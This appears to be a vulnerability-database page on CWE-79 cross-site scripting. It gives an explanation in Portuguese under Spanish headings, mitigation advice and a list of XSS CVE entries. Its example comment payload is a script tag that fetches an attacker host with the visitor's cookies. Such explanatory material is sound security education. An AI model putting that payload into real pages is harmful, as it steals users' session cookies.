Fallos del tipo CWE-79

30.299 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-51951MEDIUMStored XSS in Server Admin APIEPSS 0.3%CVE-2026-1646MEDIUMAdvance Block Extend <= 1.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via TitleColor Block AttributeEPSS 0.3%CVE-2026-28561MEDIUMwpForo Forum 2.4.14 Stored XSS via Unescaped Forum Description in TemplatesEPSS 0.3%CVE-2026-28560MEDIUMwpForo Forum 2.4.14 Stored XSS via Unsafe JSON Encoding in Inline ScriptEPSS 0.3%CVE-2024-51956MEDIUMStored XSS vulnerability in ArcGIS Server Administrator DirectoryEPSS 0.3%CVE-2025-52653HIGHCross Site Scripting vulnerability in the web applicationEPSS 0.3%CVE-2026-4011MEDIUMPower Charts <= 0.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'id' Shortcode AttributeEPSS 0.3%CVE-2025-5752MEDIUMVertical scroll image slideshow gallery <= 11.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via width ParameterEPSS 0.3%CVE-2025-5144MEDIUMThe Events Calendar <= 6.13.2 - Authenticated (Contributor+) DOM-Based Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-34564MEDIUMWordPress Counter Up plugin <= 2.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-23841CRITICALMovary vulnerable to Cross-site Scripting with `?categoryCreated=` paramEPSS 0.3%CVE-2026-6559MEDIUMWavlink WL-WN579A3 login.cgi sub_401F80 cross site scriptingEPSS 0.3%CVE-2025-7660MEDIUMMap My Locations <= 1.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-61456MEDIUMA Cross-Site Scripting (XSS) vulnerability exists in Bhabishya-123 E-commerce 1.0, specifically within the index endpoint. Unsanitized inputEPSS 0.3%CVE-2026-3998MEDIUMWM JqMath <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'style' Shortcode AttributeEPSS 0.3%CVE-2024-52389MEDIUMWordPress WP Job Portal plugin <= 2.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-55133MEDIUMIn Agora Foundation Agora fall23-Alpha1 before b087490, there is XSS via topicName in client/agora/public/js/editorManager.js.EPSS 0.3%CVE-2025-48918HIGHSimple Klaro - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-071EPSS 0.3%CVE-2025-6673MEDIUMEasy restaurant menu manager <= 2.0.1 - Authenticated (Contributot+) Stored Cross-Site Scripting via `nsc_eprm_menu_link` ShortcodeEPSS 0.3%CVE-2025-14519MEDIUMbaowzh hfly advtext add cross site scriptingEPSS 0.3%